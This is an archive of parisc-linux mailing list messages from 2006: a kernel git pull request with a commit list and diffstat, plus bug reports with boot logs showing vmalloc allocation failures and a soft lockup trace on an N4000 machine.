Date: Thu, 30 Mar 2006 17:38:21 -0500
Lines: 95
Approved: news@gmane.org
Message-ID: <20060330223819.GB31321@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624036 18750 80.91.229.3 (22 Nov 2014 02:40:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:36 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: torvalds@osdl.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Mar 2006 22:40:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 31 Mar 2006 00:40:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B1F07D710;
	Thu, 30 Mar 2006 15:40:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31583-08; Thu, 30 Mar 2006 15:40:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D0C37D712;
	Thu, 30 Mar 2006 15:40:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B213E7D709
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 15:40:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31554-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 15:40:27 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id CB9807D6FC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 15:40:26 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 3A3125840B3;
	Thu, 30 Mar 2006 17:40:23 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 526D05840A2;
	Thu, 30 Mar 2006 17:40:22 -0500 (EST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 651D323E84;
	Thu, 30 Mar 2006 17:39:50 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21268-01; Thu, 30 Mar 2006 17:39:50 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 7FD0423E83;
	Thu, 30 Mar 2006 17:39:49 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 816833B060; Thu, 30 Mar 2006 17:38:21 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: W2gZdQMCbUko7+nGPWgndHJkZ2hlN4oV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23514

The following changes since commit 5d4fe2c1ce83c3e967ccc1ba3d580c1a5603a866:
  Lennert Buytenhek:
        ixp2000: fix gcc4 breakage

are found in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git

Helge Deller:
      [PARISC] Enable free_initrd_mem()
      [PARISC] I/O-Space must be ioremap_nocache()'d
      [PARISC] Fix IOREMAP with a 64-bit kernel
      [PARISC] Add STRICT_MM_TYPECHECKS
      [PARISC] Add CONFIG_HPPA_IOREMAP to conditionally enable ioremap
      [PARISC] Fix stifb with IOREMAP and a 64-bit kernel
      [PARISC] Enable ioremap functionality unconditionally
      [PARISC] Temporary FIXME for ioremapping EISA regions
      [PARISC] Remove obsolete CONFIG_DEBUG_IOREMAP
      [PARISC] Fixup CONFIG_EISA a bit
      [PARISC] Convert HIL drivers to use input_allocate_device
      [PARISC] Update defconfigs

James Bottomley:
      [PARISC] Add parisc implementation of flush_anon_page()
      [PARISC] Add parisc implementation of flush_kernel_dcache_page()

Kyle McMartin:
      [PARISC] getsockopt should be ENTRY_COMP
      [PARISC] More useful readwrite lock helpers
      [PARISC] Add PREEMPT support
      [PARISC] Make local_t use atomic_long_t
      [PARISC] Move ioremap EXPORT_SYMBOL from parisc_ksyms.c
      [PARISC] Kill duplicated EXPORT_SYMBOL warnings
      [PARISC] Add atomic_sub_and_test
      [PARISC] Fix double free when removing HIL drivers

Stuart Brady:
      [PARISC] Enabled some NLS modules in a500, b180 and c3000 defconfigs

Thibaut VARENE:
      [PARISC] Clarify pdc_stable license terms

 arch/parisc/Kconfig                 |    6 -
 arch/parisc/configs/712_defconfig   |  160 ++++++++++------------
 arch/parisc/configs/a500_defconfig  |    4 -
 arch/parisc/configs/b180_defconfig  |   12 +-
 arch/parisc/configs/c3000_defconfig |  252 +++++++++++++++--------------------
 arch/parisc/defconfig               |  165 +++++++++++++++--------
 arch/parisc/kernel/cache.c          |    6 -
 arch/parisc/kernel/entry.S          |   45 +++++-
 arch/parisc/kernel/pacache.S        |    4 -
 arch/parisc/kernel/parisc_ksyms.c   |   19 ---
 arch/parisc/kernel/pdc_chassis.c    |    5 -
 arch/parisc/kernel/perf.c           |    2 
 arch/parisc/kernel/syscall_table.S  |    2 
 arch/parisc/lib/iomap.c             |    4 -
 arch/parisc/mm/init.c               |    7 -
 arch/parisc/mm/ioremap.c            |   54 +-------
 drivers/input/keyboard/hil_kbd.c    |   58 ++++----
 drivers/input/keyboard/hilkbd.c     |   49 ++++---
 drivers/input/mouse/hil_ptr.c       |   92 +++++++------
 drivers/input/serio/gscps2.c        |    4 -
 drivers/parisc/ccio-dma.c           |    2 
 drivers/parisc/dino.c               |    5 -
 drivers/parisc/eisa.c               |    2 
 drivers/parisc/iosapic.c            |    2 
 drivers/parisc/lba_pci.c            |    8 +
 drivers/parisc/pdc_stable.c         |    5 -
 drivers/parisc/sba_iommu.c          |    6 -
 drivers/parisc/superio.c            |   46 +++---
 drivers/scsi/lasi700.c              |    2 
 drivers/scsi/zalon.c                |    2 
 drivers/serial/8250_gsc.c           |   15 +-
 drivers/serial/mux.c                |    4 -
 drivers/video/console/sticore.c     |   18 ---
 drivers/video/sticore.h             |   37 ++---
 drivers/video/stifb.c               |   91 +------------
 include/asm-parisc/atomic.h         |    3 
 include/asm-parisc/cache.h          |    2 
 include/asm-parisc/cacheflush.h     |   17 ++
 include/asm-parisc/io.h             |   95 -------------
 include/asm-parisc/local.h          |   18 +--
 include/asm-parisc/page.h           |   58 ++++++--
 include/asm-parisc/pci.h            |    5 +
 include/asm-parisc/pdc_chassis.h    |    5 -
 include/asm-parisc/spinlock.h       |   16 ++
 include/asm-parisc/thread_info.h    |    3 
 lib/Kconfig.debug                   |   13 --
 46 files changed, 625 insertions(+), 805 deletions(-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Strange newest LAB msg?
Date: Fri, 31 Mar 2006 16:26:38 +0100
Lines: 210
Approved: news@gmane.org
Message-ID: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624036 18755 80.91.229.3 (22 Nov 2014 02:40:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:36 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Mar 2006 15:26:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 31 Mar 2006 17:26:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B079B7D720;
	Fri, 31 Mar 2006 08:26:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06280-07; Fri, 31 Mar 2006 08:26:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 612B97D721;
	Fri, 31 Mar 2006 08:26:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 240BF7D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 08:26:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06434-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 08:26:43 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id CF7EE7D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 08:26:42 -0700 (MST)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by xizor.is.scarlet.be  with ESMTP id k2VFQcj09472 
	for <parisc-linux@lists.parisc-linux.org>; 
	Fri, 31 Mar 2006 17:26:38 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LT9Ed4tEeWU3uq2TZm9ncG8rL0tsZs2P
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23515

Hello all,

Just noticed on n4k with recent kernel:
[snip]
Mar 31 11:45:39 patst006 kernel: Linux version 2.6.16-pa8-n4kmp
(root@patst006) (gcc version 4.0.3 (Debian 4.0.3-1)) #212 SMP Tue Ma
r 28 12:30:16 CEST 2006
[snip]
Mar 31 11:45:39 patst006 kernel: CPU(s): 2 x PA8600 (PCX-W+) at 550.00000=
0 MHz
Mar 31 11:45:39 patst006 kernel: Whole cache flush 199180 cycles, flushin=
g
5369080 bytes 1536791 cycles
Mar 31 11:45:39 patst006 kernel: Setting cache flush threshold to a9e80 (=
2
CPUs online)
Mar 31 11:45:39 patst006 kernel: SBA found Ike rev 2 at 0xfffffffffed0000=
0
Mar 31 11:45:39 patst006 kernel: SBA found Ike rev 2 at 0xfffffffffed4000=
0
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbffe0000
Mar 31 11:45:39 patst006 kernel: iosapic: no IRTE for 0000:00:04.0 (IRQ n=
ot
connected?)
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbffe2000
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbffe4000
Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbffe8000
Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space =
- use
vmalloc=3D<size> to increase size.
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbffea000
Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space =
- use
vmalloc=3D<size> to increase size.
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbfff0000
Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space =
- use
vmalloc=3D<size> to increase size.
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbfff4000
Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space =
- use
vmalloc=3D<size> to increase size.
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbfff8000
Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space =
- use
vmalloc=3D<size> to increase size.
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffece0000
Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space =
- use
vmalloc=3D<size> to increase size.
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffece4000
Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space =
- use
vmalloc=3D<size> to increase size.
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffece8000
Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space =
- use
vmalloc=3D<size> to increase size.
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffecf0000
Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space =
- use
vmalloc=3D<size> to increase size.
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffecf4000
Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space =
- use
vmalloc=3D<size> to increase size.
Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffecf8000
Mar 31 11:45:39 patst006 kernel: SCSI subsystem initialized
Mar 31 11:45:39 patst006 kernel: unwind_init: start =3D 0x10451cc0, end =3D=

0x10472e10, entries =3D 8469
Mar 31 11:45:39 patst006 kernel: Performance monitoring counters enabled =
for
Unknown machine
Mar 31 11:45:39 patst006 kernel: Initializing Cryptographic API
Mar 31 11:45:39 patst006 kernel: io scheduler noop registered
Mar 31 11:45:39 patst006 kernel: io scheduler anticipatory registered (de=
fault)
[...]

(with a previous kernel
Feb 13 13:47:20 patst006 kernel: Linux version 2.6.16-rc3-pa0-n4kmp
(root@patst006) (gcc version 4.0.3 20060128 (prerelease) (Debian
 4.0.2-8)) #14 SMP Mon Feb 13 13:05:14 CET 2006
Feb 13 13:47:20 patst006 kernel: CPU(s): 2 x PA8600 (PCX-W+) at 550.00000=
0 MHz
Feb 13 13:47:20 patst006 kernel: Whole cache flush 217577 cycles, flushin=
g
5352456 bytes 1498027 cycles
Feb 13 13:47:20 patst006 kernel: Setting cache flush threshold to bdcc0 (=
2
CPUs online)
Feb 13 13:47:20 patst006 kernel: SBA found Ike rev 2 at 0xfffffffffed0000=
0
Feb 13 13:47:20 patst006 kernel: SBA found Ike rev 2 at 0xfffffffffed4000=
0
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbffe0000
Feb 13 13:47:20 patst006 kernel: iosapic: no IRTE for 0000:00:04.0 (IRQ n=
ot
connected?)
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbffe2000
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbffe4000
Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbffe8000
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbffea000
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbfff0000
Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbfff4000
Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xffffffffbfff8000
Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffece0000
Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffece4000
Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffece8000
Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffecf0000
Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (c=
learing)
Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffecf4000
Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
0xfffffffffecf8000
Feb 13 13:47:20 patst006 kernel: SCSI subsystem initialized
Feb 13 13:47:20 patst006 kernel: unwind_init: start =3D 0x10452ce0, end =3D=

0x10473d50, entries =3D 8455
Feb 13 13:47:20 patst006 kernel: Performance monitoring counters enabled =
for
Unknown machine
Feb 13 13:47:20 patst006 kernel: Initializing Cryptographic API
[snip]
)

Joel=0A=0A---------------------------------------------------------------=
=0AA free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore=
 info on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] "BUG: soft lockup detected on CPU#0" on recent
	64bit k-2.6.16 (up or smp)
Date: Fri, 31 Mar 2006 16:41:56 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <IX00XW$54609265F67FD22980DB5BAA9486A0DB@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624036 18759 80.91.229.3 (22 Nov 2014 02:40:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:36 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "soete.joel" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Mar 2006 15:42:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 31 Mar 2006 17:42:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94A167D740;
	Fri, 31 Mar 2006 08:42:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06762-09; Fri, 31 Mar 2006 08:42:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D9E97D741;
	Fri, 31 Mar 2006 08:42:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72CDA7D732
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 08:42:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06644-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 08:42:04 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 5D0BE7D720
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 08:42:04 -0700 (MST)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by xizor.is.scarlet.be  with ESMTP id k2VFftj21955; 
	Fri, 31 Mar 2006 17:41:56 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uilFCU0LbHIyva3NNjQ0MikqJihyalDA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23516

Hello pa*,
> 
[snip]
> 
> also noticed on n4k runing k-2.6.16-pa0 64bit smp kernel:
> BUG: soft lockup detected on CPU#0!
> 
[...]
>  IAOQ[0]: _read_lock+0x18/0x30
>  IAOQ[1]: _read_lock+0x8/0x30
>  RP(r2): send_group_sig_info+0x3c/0xb0
> 
This kind of hung re-occured on this n4k (64bit smp kernel 2.6.16-pa8);

I just grab the piminfo but useless:
[...]
Parse IAOQ =3D 0x000000ffff80ff3c for CPU[1]

Func: _end, Off: 0xffef1f1244, Addr: 0xffff80ff3c
[...]

Parse IAOQ =3D 0x00000000000006c4 for CPU[3]

[...]

Sorry,
    Joel

PS: I just start the same test but without CONFIG_DETECT_SOFTLOCKUP :<?
=0A=0A---------------------------------------------------------------=0AA=
 free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore inf=
o on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Fri, 31 Mar 2006 08:54:48 -0700
Lines: 184
Approved: news@gmane.org
Message-ID: <20060331155448.GP13590@parisc-linux.org>
